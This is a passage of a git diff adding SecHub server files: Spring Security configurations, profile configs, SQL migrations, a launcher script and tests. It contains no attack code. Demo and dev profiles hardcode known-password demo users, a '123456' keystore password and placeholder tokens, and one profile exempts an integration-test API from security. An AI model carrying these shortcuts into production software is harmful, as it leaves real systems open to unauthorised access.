0000000000..d440b90e31 --- /dev/null +++ b/sechub-server/src/main/java/com/daimler/sechub/server/security/DemomodeSecHubSecurityConfiguration.java @@ -0,0 +1,45 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.server.security; + +import static com.daimler.sechub.domain.authorization.AuthUserRole.*; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.context.annotation.Configuration; +import org.springframework.context.annotation.Profile; +import org.springframework.core.annotation.Order; +import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder; +import org.springframework.security.config.annotation.method.configuration.EnableGlobalMethodSecurity; +import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity; + +import com.daimler.sechub.sharedkernel.Profiles; +import com.daimler.sechub.sharedkernel.configuration.AbstractAllowSecHubAPISecurityConfiguration; +@Configuration +@EnableGlobalMethodSecurity(prePostEnabled = true) +@EnableWebSecurity +@Profile({Profiles.DEMOMODE}) // only for demomode +@Order(1) +public class DemomodeSecHubSecurityConfiguration extends AbstractAllowSecHubAPISecurityConfiguration { + + private static final Logger LOG = LoggerFactory.getLogger(DemomodeSecHubSecurityConfiguration.class); + + @Override + protected void configure(AuthenticationManagerBuilder auth) throws Exception { + LOG.info("*******************************************************************"); + LOG.info("* SecHub Server DEMO MODE activated!"); + LOG.info("*******************************************************************"); + /* @formatter:off */ + auth.inMemoryAuthentication(). + withUser("developer"). + password("{bcrypt}$2a$10$L2uu3Ws4iBcP/5Z196cqu.OahGNHuPdy/4d.axnXK0KKqagx1lRTq"). + roles(USER.name()). + and(). + withUser("alice").// demo user for security user conference. deactivate after... pwd known + password("{bcrypt}$2a$10$3CmrXQ4oBE5xWKpWtMj83uyQBT8uEG2BXD/gH/IbouW3LYX12S5T6"). + roles(USER.name()); + + /* @formatter:on */ + } + + +} \ No newline at end of file diff --git a/sechub-server/src/main/java/com/daimler/sechub/server/security/IntegrationTestServerWebSecurityConfiguration.java b/sechub-server/src/main/java/com/daimler/sechub/server/security/IntegrationTestServerWebSecurityConfiguration.java new file mode 100644 index 0000000000..c7024ec364 --- /dev/null +++ b/sechub-server/src/main/java/com/daimler/sechub/server/security/IntegrationTestServerWebSecurityConfiguration.java @@ -0,0 +1,26 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.server.security; + +import org.springframework.context.annotation.Configuration; +import org.springframework.context.annotation.Profile; +import org.springframework.core.annotation.Order; +import org.springframework.security.config.annotation.method.configuration.EnableGlobalMethodSecurity; +import org.springframework.security.config.annotation.web.builders.WebSecurity; +import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity; +import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter; + +import com.daimler.sechub.sharedkernel.Profiles; + +@Configuration +@EnableGlobalMethodSecurity(prePostEnabled = true) +@EnableWebSecurity +@Order(4000) +@Profile(Profiles.INTEGRATIONTEST) +public class IntegrationTestServerWebSecurityConfiguration extends WebSecurityConfigurerAdapter { + + @Override + public void configure(WebSecurity web) throws Exception { + /* api for integration test is always allowed */ + web.ignoring().antMatchers("api/integrationtest/*"); + } +} diff --git a/sechub-server/src/main/java/com/daimler/sechub/server/security/SecHubServerSecurityConfiguration.java b/sechub-server/src/main/java/com/daimler/sechub/server/security/SecHubServerSecurityConfiguration.java new file mode 100644 index 0000000000..49e00735d8 --- /dev/null +++ b/sechub-server/src/main/java/com/daimler/sechub/server/security/SecHubServerSecurityConfiguration.java @@ -0,0 +1,21 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.server.security; + +import org.springframework.context.annotation.Configuration; +import org.springframework.context.annotation.Profile; +import org.springframework.core.annotation.Order; +import org.springframework.security.config.annotation.method.configuration.EnableGlobalMethodSecurity; +import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity; + +import com.daimler.sechub.sharedkernel.Profiles; +import com.daimler.sechub.sharedkernel.configuration.AbstractAllowSecHubAPISecurityConfiguration; + +@Configuration +@EnableGlobalMethodSecurity(jsr250Enabled = true) +@EnableWebSecurity +@Profile({"!"+Profiles.DEMOMODE}) // not for demomode +@Order(1) +public class SecHubServerSecurityConfiguration extends AbstractAllowSecHubAPISecurityConfiguration { + + +} \ No newline at end of file diff --git a/sechub-server/src/main/resources/application-demomode.yaml b/sechub-server/src/main/resources/application-demomode.yaml new file mode 100644 index 0000000000..261dc7970b --- /dev/null +++ b/sechub-server/src/main/resources/application-demomode.yaml @@ -0,0 +1,7 @@ +# SPDX-License-Identifier: MIT +# demomode uses always only mocked adapters etc. +spring.profiles.include: + - mocked_products + - localserver + - h2 + - mocked_notifications diff --git a/sechub-server/src/main/resources/application-dev.yml b/sechub-server/src/main/resources/application-dev.yml new file mode 100644 index 0000000000..d180f5e531 --- /dev/null +++ b/sechub-server/src/main/resources/application-dev.yml @@ -0,0 +1,16 @@ +# SPDX-License-Identifier: MIT +spring.profiles.include: + - localserver + +sechub.initialadmin: + userid: sechubadm + email: sechubadm@example.org + apitoken: pseudo-token-development-only + +logging: + level: + com.daimler.sechub: DEBUG + org.apache.http: WARN + org.apache.http.headers: WARN + org.apache.http.wire: WARN + \ No newline at end of file diff --git a/sechub-server/src/main/resources/application-h2.properties b/sechub-server/src/main/resources/application-h2.properties new file mode 100644 index 0000000000..1c83c4ceae --- /dev/null +++ b/sechub-server/src/main/resources/application-h2.properties @@ -0,0 +1,4 @@ +# SPDX-License-Identifier: MIT +# only used in development or demo mode - so username password does not matter... +spring.datasource.driver-class-name=org.h2.Driver +spring.datasource.url=jdbc:h2:mem:db;DB_CLOSE_DELAY=-1 diff --git a/sechub-server/src/main/resources/application-integrationtest.yml b/sechub-server/src/main/resources/application-integrationtest.yml new file mode 100644 index 0000000000..15fcf49b00 --- /dev/null +++ b/sechub-server/src/main/resources/application-integrationtest.yml @@ -0,0 +1,23 @@ +# SPDX-License-Identifier: MIT +spring.profiles.include: +- localserver +- mocked_notifications +sechub: + initialadmin: + userid: int-test_superadmin + email: int-test_superadmin@$sechub.example.org + apitoken: int-test_superadmin-pwd + adapter: + mock: + sanitycheck: + enabled: true + + notification.email.mock.cache: + enabled: true + +logging: + level: + com.daimler.sechub: DEBUG + org.apache.http: WARN + org.apache.http.headers: WARN + org.apache.http.wire: WARN diff --git a/sechub-server/src/main/resources/application-localserver.yml b/sechub-server/src/main/resources/application-localserver.yml new file mode 100644 index 0000000000..b308b73453 --- /dev/null +++ b/sechub-server/src/main/resources/application-localserver.yml @@ -0,0 +1,16 @@ +# SPDX-License-Identifier: MIT +server: + ssl: + keyStoreType: + PKCS12 + key-store: + # we use a keystore location which is never tracked by git. + # see dev-create_localhost_certificate.sh and dev-ensure_localhost_certificate.sh + classpath:certificates-untracked/generated-dev-localhost-keystore.p12 + key-store-password: + 123456 + key-alias: + tomcat +sechub: + server: + baseurl: "https://localhost:${server.port}" \ No newline at end of file diff --git a/sechub-server/src/main/resources/application-mocked_notifications.yml b/sechub-server/src/main/resources/application-mocked_notifications.yml new file mode 100644 index 0000000000..530dd049d1 --- /dev/null +++ b/sechub-server/src/main/resources/application-mocked_notifications.yml @@ -0,0 +1,6 @@ +# SPDX-License-Identifier: MIT +sechub.notification: + email: + from: mocked.from.sechub@example.org + smtp: + hostname: smtp.intranet.example.org \ No newline at end of file diff --git a/sechub-server/src/main/resources/application-mocked_products.yml b/sechub-server/src/main/resources/application-mocked_products.yml new file mode 100644 index 0000000000..a7192afc1c --- /dev/null +++ b/sechub-server/src/main/resources/application-mocked_products.yml @@ -0,0 +1,32 @@ +# SPDX-License-Identifier: MIT + +sechub: + adapter: + nessus: + defaultpolicyid: "nessus-default-policiy-id" + intranet: + baseurl: "https://nessus-intranet.mock.example.org:6000" + userid: "nessus-user-id" + password: "nessus-password" + internet: + baseurl: "https://nessus-internet.mock.example.org.com:6000" + userid: "nessus-user-id" + password: "nessus-password" + + netsparker: + baseurl: "https://netsparker.mock.example.org:4000" + apitoken: "netsparker-api-token" + userid: "netsparker-user-id" + licenseid: "netsparker-license-id" + defaultpolicyid: "netsparker-default-policiy-id" + internet: + agentgroupname: "netsparker-agent-group-internet" + intranet: + agentgroupname: "netsparker-agent-group-intranet" + + checkmarx: + baseurl: "https://checkmarx.mock.example.org:6011" + userid: "checkmarx-user-id" + password: "checkmarx-password" + newproject: + teamid: "checkmarx-newproject-teamid" \ No newline at end of file diff --git a/sechub-server/src/main/resources/application-postgres.properties b/sechub-server/src/main/resources/application-postgres.properties new file mode 100644 index 0000000000..fccaa582dc --- /dev/null +++ b/sechub-server/src/main/resources/application-postgres.properties @@ -0,0 +1,8 @@ +# SPDX-License-Identifier: MIT +## -------------------------------------------- +## PostgreSQL setup +## -------------------------------------------- +spring.datasource.driverClassName=org.postgresql.Driver +spring.jpa.database-platform=org.hibernate.dialect.PostgreSQLDialect +# next lines will be changed by kubernetes deployment by ENV entries - so its only used for local development +spring.datasource.url=jdbc:postgresql://192.168.99.100:30432/sechub diff --git a/sechub-server/src/main/resources/application-prod.yml b/sechub-server/src/main/resources/application-prod.yml new file mode 100644 index 0000000000..71bf1ba541 --- /dev/null +++ b/sechub-server/src/main/resources/application-prod.yml @@ -0,0 +1,4 @@ +# SPDX-License-Identifier: MIT +spring.profiles.include: + - postgres + - real_products diff --git a/sechub-server/src/main/resources/application-real_products.yaml b/sechub-server/src/main/resources/application-real_products.yaml new file mode 100644 index 0000000000..76313ea7be --- /dev/null +++ b/sechub-server/src/main/resources/application-real_products.yaml @@ -0,0 +1,3 @@ +# SPDX-License-Identifier: MIT +# real products means real adapters. +# currently no special setup necessary \ No newline at end of file diff --git a/sechub-server/src/main/resources/application.yml b/sechub-server/src/main/resources/application.yml new file mode 100644 index 0000000000..90d1bc2af2 --- /dev/null +++ b/sechub-server/src/main/resources/application.yml @@ -0,0 +1,60 @@ +# SPDX-License-Identifier: MIT +sechub: + config: + trigger: + nextjob: + # every second + cron: "*/1 * * * * *" + targettype: + detection: + intranet: + hostname: + endswith: intranet.example.org +spring: + batch: + job: + # we do not want to have jobs started automatically (parameters needed etc.) + enabled: false + ## Spring Boot Batch Schema file generation: + initialize-schema: always + jpa: + # when not defined: spring.jpa.open-in-view is enabled by default. Therefore, database queries may be performed during view rendering. + open-in-view: false + hibernate: + # https://www.baeldung.com/spring-boot-data-sql-and-schema-sql + ddl-auto: none + properties: + hibernate: + jdbc.time_zone: UTC + # Avoiding "java.sql.SQLFeatureNotSupportedException: method org.postgresql.jdbc.PgConnection.createClob() is not implemented yet.": + # https://github.com/spring-projects/spring-boot/issues/12007: + jdbc.lob.non_contextual_creation: true + datasource: + initialization-mode: always + main: + # see https://github.com/spring-projects/spring-boot/wiki/Spring-Boot-2.1-Release-Notes#bean-overriding + allow-bean-definition-overriding: true + servlet: + # MultiPart file-size limits, + # https://spring.io/guides/gs/uploading-files/ + multipart.max-file-size: 5MB + multipart.max-request-size: 5MB + http: + multipart.enabled: false +# -------------------------------------- +# - Security +# -------------------------------------- +security: + basic: + enabled: false # turn off standard login screen... + +# -------------------------------------- +# - SSL setup (default) +# -------------------------------------- +server: + port: + 8443 + ssl: + enabled: + true # alwasy enabled +# keystore, alias etc. must be defined outside \ No newline at end of file diff --git a/sechub-server/src/main/resources/certificates-untracked/README.md b/sechub-server/src/main/resources/certificates-untracked/README.md new file mode 100644 index 0000000000..c09c350ab4 --- /dev/null +++ b/sechub-server/src/main/resources/certificates-untracked/README.md @@ -0,0 +1,15 @@ + +About p12 folder +======================== + +Here your p12 certificates have to be stored +- local development +- prod +- .. + +Inside this folder GIT does ignore anything except this `README.md`! + +Why? +---- + + diff --git a/sechub-server/src/main/resources/db/migration/README.md b/sechub-server/src/main/resources/db/migration/README.md new file mode 100644 index 0000000000..413c24a874 --- /dev/null +++ b/sechub-server/src/main/resources/db/migration/README.md @@ -0,0 +1,9 @@ + +https://flywaydb.org/documentation/migrations#sql-based-migrations + +The file name consists of the following parts: + +- Prefix: V for versioned migrations, U for undo migrations, R for repeatable migrations +- Version: Underscores (automatically replaced by dots at runtime) separate as many parts as you like (Not for repeatable migrations) +- Separator: __ (two underscores) +- Description: Underscores (automatically replaced by spaces at runtime) separate the words diff --git a/sechub-server/src/main/resources/db/migration/U1__Initial_version.sql b/sechub-server/src/main/resources/db/migration/U1__Initial_version.sql new file mode 100644 index 0000000000..4973d2c159 --- /dev/null +++ b/sechub-server/src/main/resources/db/migration/U1__Initial_version.sql @@ -0,0 +1,24 @@ +-- drop constraints +ALTER TABLE adm_user DROP CONSTRAINT c01_adm_user_emailadress; +ALTER TABLE adm_project_to_user DROP CONSTRAINT c02_adm_project2user_user_id; +ALTER TABLE adm_project_to_user DROP CONSTRAINT c03_adm_project2user_project_id; +ALTER TABLE adm_project_whitelist_uri DROP CONSTRAINT c04_adm_projectwhitelist_project_id; +ALTER TABLE adm_job_information DROP CONSTRAINT c05_adm_job_information_jobuuid; +ALTER TABLE adm_project DROP CONSTRAINT c06_adm_project2owner; +-- drop tables +DROP TABLE IF EXISTS adm_project_to_owner CASCADE; +DROP TABLE IF EXISTS adm_project CASCADE; +DROP TABLE IF EXISTS adm_project_to_user CASCADE; +DROP TABLE IF EXISTS adm_project_whitelist_uri CASCADE; +DROP TABLE IF EXISTS adm_user CASCADE; +DROP TABLE IF EXISTS adm_user_to_roles CASCADE; +DROP TABLE IF EXISTS adm_user_selfregistration CASCADE; +DROP TABLE IF EXISTS auth_user CASCADE; +DROP TABLE IF EXISTS scan_product_result CASCADE; +DROP TABLE IF EXISTS scan_report CASCADE; +DROP TABLE IF EXISTS schedule_access CASCADE; +DROP TABLE IF EXISTS schedule_project_whitelist CASCADE; +DROP TABLE IF EXISTS schedule_sechub_job CASCADE; +DROP TABLE IF EXISTS adm_job_information CASCADE; +DROP TABLE IF EXISTS scan_access CASCADE; +DROP TABLE IF EXISTS scan_project_log CASCADE; diff --git a/sechub-server/src/main/resources/db/migration/V1__Initial_version.sql b/sechub-server/src/main/resources/db/migration/V1__Initial_version.sql new file mode 100644 index 0000000000..6fcd341216 --- /dev/null +++ b/sechub-server/src/main/resources/db/migration/V1__Initial_version.sql @@ -0,0 +1,145 @@ +CREATE TABLE adm_project +( + project_id varchar(60) not null, -- we accept 60 (3x20), see ProjectIdValidation + project_description varchar(512), -- description fields always 512 chars + version integer, + project_owner varchar(60), + PRIMARY KEY (project_id) +); +CREATE TABLE adm_project_whitelist_uri +( + project_project_id varchar(60) not null, -- we accept 60 (3x20), see ProjectIdValidation + project_whitelist_uris varchar(255) not null, + PRIMARY KEY (project_project_id, project_whitelist_uris) +); +CREATE TABLE adm_user +( + user_id varchar(60) not null, -- we accept 60 (3 x 20) see UserIdValidation + user_email_adress varchar(255) not null, + user_apitoken varchar(255) not null, + user_onetimetoken varchar(255), + user_ott_created timestamp, + user_superadmin boolean, + user_deactivated boolean, + version integer, + PRIMARY KEY (user_id) +); +CREATE TABLE adm_project_to_user +( + projects_project_id varchar(60) not null, -- we accept 60 (3x20), see ProjectIdValidations + users_user_id varchar(60) not null, -- we accept 60 (3 x 20) see UserIdValidation + PRIMARY KEY (projects_project_id, users_user_id) +); +CREATE TABLE adm_user_selfregistration +( + user_id varchar(60) not null, -- we accept 60 (3 x 20) see UserIdValidation + email_adress varchar(255) not null, + version integer, + PRIMARY KEY (user_id) +); +CREATE TABLE auth_user +( + user_id varchar(60) not null, -- we accept 60 (3 x 20) see UserIdValidation + user_apitoken varchar(255), + role_admin boolean, + role_user boolean, + role_owner boolean, + version integer, + PRIMARY KEY (user_id) +); +CREATE TABLE scan_product_result +( + uuid uuid not null, + product_id varchar(30) not null, -- enum value, max:30 + result text, + sechub_job_uuid uuid not null, + started timestamp, + ended timestamp, + version integer, + PRIMARY KEY (uuid) +); +CREATE TABLE scan_report +( + uuid uuid not null, + config varchar(8192), -- we accept maximum of 8192 chars (8kb) + result text, + sechub_job_uuid uuid, + traffic_light varchar(30), -- enum value, max:30 + project_id varchar(60) not null, -- we accept 60 (3x20), see ProjectIdValidation + started timestamp, + ended timestamp, + version integer, + PRIMARY KEY (uuid) +); +CREATE TABLE scan_access +( + project_id varchar(60) not null, -- we accept 60 (3x20), see ProjectIdValidation + user_id varchar(60) not null, -- we accept 60 (3 x 20) see UserIdValidation + version integer, + PRIMARY KEY (project_id, user_id) +); +CREATE TABLE schedule_access +( + project_id varchar(60) not null, -- we accept 60 (3x20), see ProjectIdValidation + user_id varchar(60) not null, -- we accept 60 (3 x 20) see UserIdValidation + version integer, + PRIMARY KEY (project_id, user_id) +); +CREATE TABLE schedule_project_whitelist +( + project_id varchar(60) not null, -- we accept 60 (3x20), see ProjectIdValidation + uri varchar(255) not null, + version integer, + PRIMARY KEY (project_id, uri) +); +CREATE TABLE schedule_sechub_job +( + uuid uuid not null, + created timestamp not null, + ended timestamp, + result varchar(30) not null, -- enum value, max:30 + state varchar(30) not null, -- enum value, max:30 + configuration varchar(8192) not null, -- we accept maximum of 8192 chars (8kb) + owner varchar(60) not null, -- we accept 60 (3 x 20) see UserIdValidation + project_id varchar(60) not null, -- we accept 60 (3x20), see ProjectIdValidation + started timestamp, + traffic_light varchar(30), -- enum value, max:30 + version integer, + PRIMARY KEY (uuid) +); +CREATE TABLE scan_project_log +( + uuid uuid not null, + project_id varchar(60) not null, -- we accept 60 (3x20), see ProjectIdValidation + executed_by varchar(60) not null, -- we accept 60 (3 x 20) see UserIdValidation + sechub_job_uuid uuid not null, + config varchar(8192) not null, -- we accept maximum of 8192 chars (8kb) + status varchar(30), + started timestamp not null, + ended timestamp, + version integer, + PRIMARY KEY (uuid) +) +; +CREATE TABLE adm_job_information +( + uuid uuid not null, + job_uuid uuid not null, + project_id varchar(60) not null, -- we accept 60 (3x20), see ProjectIdValidation + owner varchar(60) not null, -- we accept 60 (3 x 20) see UserIdValidation + status varchar(30) not null, -- enum value, max:30 + since timestamp not null, + info varchar(512), -- description fields always 512 chars + configuration varchar(8912), -- we accept maximum of 8192 chars (8kb) + version integer, + PRIMARY KEY (uuid) +); +-- +++++++++++++++++++++++++++ +-- Constraints ADM +-- +++++++++++++++++++++++++++ +ALTER TABLE adm_user ADD CONSTRAINT c01_adm_user_emailadress unique (user_email_adress); +ALTER TABLE adm_project_to_user ADD CONSTRAINT c02_adm_project2user_user_id FOREIGN KEY (users_user_id) REFERENCES adm_user (user_id); +ALTER TABLE adm_project_to_user ADD CONSTRAINT c03_adm_project2user_project_id FOREIGN KEY (projects_project_id) REFERENCES adm_project (project_id); +ALTER TABLE adm_project_whitelist_uri ADD CONSTRAINT c04_adm_projectwhitelist_project_id FOREIGN KEY (project_project_id) REFERENCES adm_project (project_id); +ALTER TABLE adm_job_information ADD CONSTRAINT c05_adm_job_information_jobuuid unique (job_uuid); +ALTER TABLE adm_project ADD CONSTRAINT c06_adm_project2owner FOREIGN KEY (project_owner) REFERENCES adm_user (user_id); diff --git a/sechub-server/src/main/resources/run.sh b/sechub-server/src/main/resources/run.sh new file mode 100755 index 0000000000..2a90090b39 --- /dev/null +++ b/sechub-server/src/main/resources/run.sh @@ -0,0 +1,30 @@ +#!/bin/bash + +echo "Starting run script:run.sh $1 $2" +# Set debug options if required +if [ x"${JAVA_ENABLE_DEBUG}" != x ] && [ "${JAVA_ENABLE_DEBUG}" != "false" ]; then + JAVA_DBG_OPTS="-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=${JAVA_DEBUG_PORT:-5005}" +fi + +if [ -z "$1" ] || [ $1 = "byenv" ]; then + PROFILE_TO_USE=$SPRING_PROFILE +else + PROFILE_TO_USE=$1 +fi + +if [ -z "$2" ] ; then + JAR_LOCATION="/home/javarun/app.jar" +else + JAR_LOCATION="$2" +fi + +# +# Usage: run.sh demomode -> starts demomode variant (for special java options set please change the JAVA_OPT env) +# run.sh -> starts kubernetes setup +# +# +# + +# java.security.edg necessary for optimized random space -> otherwise start is slow becauase of entropy scanning etc. +# file encoding per default UTF-8 +java $JAVA_DBG_OPTS -Dfile.encoding=UTF-8 -Djava.security.egd=file:/dev/./urandom $SECHUB_OPTS -jar $JAR_LOCATION \ No newline at end of file diff --git a/sechub-server/src/test/java/com/daimler/sechub/domain/scan/resolve/TargetResolverServiceSpringBootTest.java b/sechub-server/src/test/java/com/daimler/sechub/domain/scan/resolve/TargetResolverServiceSpringBootTest.java new file mode 100644 index 0000000000..7b18391925 --- /dev/null +++ b/sechub-server/src/test/java/com/daimler/sechub/domain/scan/resolve/TargetResolverServiceSpringBootTest.java @@ -0,0 +1,102 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.resolve; + +import static org.junit.Assert.*; + +import java.net.Inet4Address; +import java.net.InetAddress; +import java.net.URI; + +import org.junit.Test; +import org.junit.runner.RunWith; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.test.context.SpringBootTest; +import org.springframework.test.context.TestPropertySource; +import org.springframework.test.context.junit4.SpringRunner; + +import com.daimler.sechub.domain.scan.Target; +import com.daimler.sechub.domain.scan.TargetType; + +/** + * Inside application-test.properties we have defined strategies, + * which will treat "*.intranet.example.com/org" and "192.168.*.*" as + * INTRANET.

    + * This integration test checks if the configured values are really used + * + * @author Albert Tregnaghi + * + */ +@RunWith(SpringRunner.class) +@SpringBootTest +@TestPropertySource(locations = "classpath:application-test.properties") +public class TargetResolverServiceSpringBootTest { + + @Autowired + TargetResolverService serviceToTest; + + @Test + public void product_failure_demo_example_org__is_INTERNET() { + /* prepare */ + URI uri = URI.create("https://productfailure.demo.example.org"); + + /* execute */ + Target found = serviceToTest.resolveTarget(uri); + + /* test */ + assertEquals(new Target(uri,TargetType.INTERNET),found); + + } + + @Test + public void ip_172_217_22_99__IS_INTERNET() throws Exception{ + /* prepare */ + InetAddress address = Inet4Address.getByName("172.217.22.99"); + + /* execute */ + Target found = serviceToTest.resolveTarget(address); + + /* test */ + assertEquals(new Target(address,TargetType.INTERNET),found); + + } + + @Test + public void somtething_intranet_example_org__is_INTRANET() { + /* prepare */ + URI uri = URI.create("https://something.intranet.example.org"); + + /* execute */ + Target found = serviceToTest.resolveTarget(uri); + + /* test */ + assertEquals(new Target(uri,TargetType.INTRANET),found); + + } + + @Test + public void ip_192_168_22_99__IS_INTRANET() throws Exception{ + /* prepare */ + InetAddress address = Inet4Address.getByName("192.168.22.99"); + + /* execute */ + Target found = serviceToTest.resolveTarget(address); + + /* test */ + assertEquals(new Target(address,TargetType.INTRANET),found); + + } + + @Test + public void path_example_slash_src_is_CODE_UPLOAD() throws Exception{ + /* prepare */ + String path = "example/src"; + + /* execute */ + Target found = serviceToTest.resolveTargetForPath(path); + + /* test */ + assertEquals(new Target(path,TargetType.CODE_UPLOAD),found); + + } + +} diff --git a/sechub-server/src/test/java/com/daimler/sechub/domain/schedule/MockSetupGeneratorApplication.java b/sechub-server/src/test/java/com/daimler/sechub/domain/schedule/MockSetupGeneratorApplication.java new file mode 100644 index 0000000000..491478fe82 --- /dev/null +++ b/sechub-server/src/test/java/com/daimler/sechub/domain/schedule/MockSetupGeneratorApplication.java @@ -0,0 +1,106 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.schedule; + +import java.io.BufferedWriter; +import java.io.File; +import java.io.FileWriter; +import java.util.List; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.daimler.sechub.adapter.checkmarx.MockedCheckmarxAdapter; +import com.daimler.sechub.adapter.mock.MockedAdapterSetup; +import com.daimler.sechub.adapter.mock.MockedAdapterSetupCombination; +import com.daimler.sechub.adapter.mock.MockedAdapterSetupEntry; +import com.daimler.sechub.adapter.mock.MockedAdapterSetupService; +import com.daimler.sechub.adapter.nessus.MockedNessusAdapter; +import com.daimler.sechub.adapter.netsparker.MockedNetsparkerAdapter; +import com.daimler.sechub.adapter.support.JSONAdapterSupport; +import com.daimler.sechub.test.ExampleConstants; + +public class MockSetupGeneratorApplication { + + private static final String LONGRUNNING_BUT_GREEN_DEMO_URI_HOST = "longrunning.but.green.demo."+ExampleConstants.URI_TARGET_SERVER; + private static final String HTTPS_LONGRUNNING_BUT_GREEN_DEMO_URI_HOST = "https://"+LONGRUNNING_BUT_GREEN_DEMO_URI_HOST; + + private static final int LONG_RUNNING_TIME_MS = 10000; + private static final Logger LOG = LoggerFactory.getLogger(MockSetupGeneratorApplication.class); + + public static void main(String[] args) throws Exception { + + MockedAdapterSetup setup = new MockedAdapterSetup(); + List entries = setup.getEntries(); + entries.add(createNetsparkerEntry()); + entries.add(createCheckmarxEntry()); + entries.add(createNessusEntry()); + + /* execute */ + String json = JSONAdapterSupport.FOR_UNKNOWN_ADAPTER.toJSON(setup); + + /* additionally write to real disk so having setup */ + File file = new File(MockedAdapterSetupService.DEFAULT_FILE_PATH); + try (BufferedWriter bw = new BufferedWriter(new FileWriter(file))) { + bw.write(json); + } + LOG.info("wrote mock adapter setup \nto {}, \ncontent was\n{}", file, json); + + } + + private static MockedAdapterSetupEntry createCheckmarxEntry() { + MockedAdapterSetupEntry entry = new MockedAdapterSetupEntry(); + entry.setAdapterId(new MockedCheckmarxAdapter().getAdapterId()); + addCombination(entry, LONGRUNNING_BUT_GREEN_DEMO_URI_HOST, "checkmarx-mockdata-empty.xml",LONG_RUNNING_TIME_MS); + addCombination(entry, "../sechub-doc/src/main/java", "checkmarx-mockdata-multiple.xml"); + addCombination(entry, MockedAdapterSetupCombination.ANY_OTHER_TARGET, "checkmarx-mockdata-empty.xml"); + + return entry; + } + + private static MockedAdapterSetupEntry createNetsparkerEntry() { + MockedAdapterSetupEntry entry = new MockedAdapterSetupEntry(); + entry.setAdapterId(new MockedNetsparkerAdapter().getAdapterId()); + addCombination(entry, HTTPS_LONGRUNNING_BUT_GREEN_DEMO_URI_HOST, "netsparker-mockdata-green.xml",LONG_RUNNING_TIME_MS); + addCombination(entry, "https://vulnerable.demo.example.org", + "netsparker-mockdata-one-important-vulnerability.xml"); + addCombination(entry, "https://safe.demo.example.org", "netsparker-mockdata-green.xml"); + addCombination(entry, MockedAdapterSetupCombination.ANY_OTHER_TARGET, "netsparker-mockdata-green.xml"); + + return entry; + } + + private static MockedAdapterSetupEntry createNessusEntry() { + MockedAdapterSetupEntry entry = new MockedAdapterSetupEntry(); + entry.setAdapterId(new MockedNessusAdapter().getAdapterId()); + addCombination(entry, HTTPS_LONGRUNNING_BUT_GREEN_DEMO_URI_HOST, "nessus-mockdata-green.xml",LONG_RUNNING_TIME_MS); + addCombination(entry, "https://vulnerable.demo.example.org", "nessus-mockdata-different-serverities.xml"); + addCombination(entry, "https://safe.demo.example.org", "nessus-mockdata-green.xml"); + addCombination(entry, MockedAdapterSetupCombination.ANY_OTHER_TARGET, "nessus-mockdata-green.xml"); + + return entry; + } + + private static void addCombination(MockedAdapterSetupEntry entry, String targetURL, String filePath) { + addCombination(entry, targetURL, filePath, -1); + } + + private static void addCombination(MockedAdapterSetupEntry entry, String targetURL, String filePath, + long timeToElapseInMs) { + MockedAdapterSetupCombination combi1 = new MockedAdapterSetupCombination(); + combi1.setFilePath(createEnsuredFile(filePath)); + combi1.setTarget(targetURL); + combi1.setTimeToElapseInMilliseconds(timeToElapseInMs); + + entry.getCombinations().add(combi1); + } + + private static String createEnsuredFile(String string) { + String path = "./../sechub-other/mockdata/" + string; + File file = new File(path); + if (file.exists()) { + return path; + } + throw new IllegalStateException("Mocked filepath:" + file + " does not exist!"); + } + +} diff --git a/sechub-server/src/test/java/com/daimler/sechub/domain/schedule/PasswordHasherTestApplication.java b/sechub-server/src/test/java/com/daimler/sechub/domain/schedule/PasswordHasherTestApplication.java new file mode 100644 index 0000000000..62adfb47cf --- /dev/null +++ b/sechub-server/src/test/java/com/daimler/sechub/domain/schedule/PasswordHasherTestApplication.java @@ -0,0 +1,16 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.schedule; + +import org.springframework.security.crypto.factory.PasswordEncoderFactories; +import org.springframework.security.crypto.password.PasswordEncoder; + +public class PasswordHasherTestApplication { + + public static void main(String[] args) { + PasswordEncoder encoder = PasswordEncoderFactories.createDelegatingPasswordEncoder(); + String input = args[0]; + String encoded = encoder.encode(input); + System.out.println("given:"+input); + System.out.println("encoded:"+encoded); + } +} diff --git a/sechub-server/src/test/java/com/daimler/sechub/domain/schedule/README.md b/sechub-server/src/test/java/com/daimler/sechub/domain/schedule/README.md new file mode 100644 index 0000000000..da566e709a --- /dev/null +++ b/sechub-server/src/test/java/com/daimler/sechub/domain/schedule/README.md @@ -0,0 +1,5 @@ + +Currently this is inside schedule package but on server side because +those tests are more or less integration tests into application + +FIXME ATR, 25.06.2018: this must be reconsidered if this is right. etc. etc \ No newline at end of file diff --git a/sechub-server/src/test/java/com/daimler/sechub/domain/schedule/ScheduleJobLauncherServiceTest.java b/sechub-server/src/test/java/com/daimler/sechub/domain/schedule/ScheduleJobLauncherServiceTest.java new file mode 100644 index 0000000000..d9057c7f7b --- /dev/null +++ b/sechub-server/src/test/java/com/daimler/sechub/domain/schedule/ScheduleJobLauncherServiceTest.java @@ -0,0 +1,108 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.schedule; + +import static com.daimler.sechub.domain.schedule.SchedulingConstants.*; +import static org.junit.Assert.*; +import static org.mockito.ArgumentMatchers.*; +import static org.mockito.Mockito.*; + +import java.util.Optional; +import java.util.UUID; + +import org.junit.Before; +import org.junit.Test; +import org.mockito.ArgumentCaptor; +import org.springframework.batch.core.Job; +import org.springframework.batch.core.JobExecution; +import org.springframework.batch.core.JobParameters; +import org.springframework.batch.core.JobParametersBuilder; + +import com.daimler.sechub.domain.schedule.batch.AsyncJobLauncher; +import com.daimler.sechub.domain.schedule.job.ScheduleSecHubJob; +import com.daimler.sechub.domain.schedule.job.SecHubJobRepository; +import com.daimler.sechub.sharedkernel.messaging.DomainMessage; +import 